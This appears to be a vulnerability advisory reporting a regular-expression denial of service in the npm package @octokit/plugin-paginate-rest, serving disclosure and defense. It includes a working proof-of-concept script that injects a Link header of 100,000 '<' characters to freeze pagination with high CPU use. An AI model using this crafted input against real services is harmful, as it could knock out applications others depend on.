Summary

For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.

Details

The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];

The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.

PoC

The gist of PoC.js

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js'
   result:
3. then the program will stuck forever with high CPU usage

import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

• Users of @octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.
• Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
• GitHub API consumers who integrate this package into their projects for paginated data retrieval.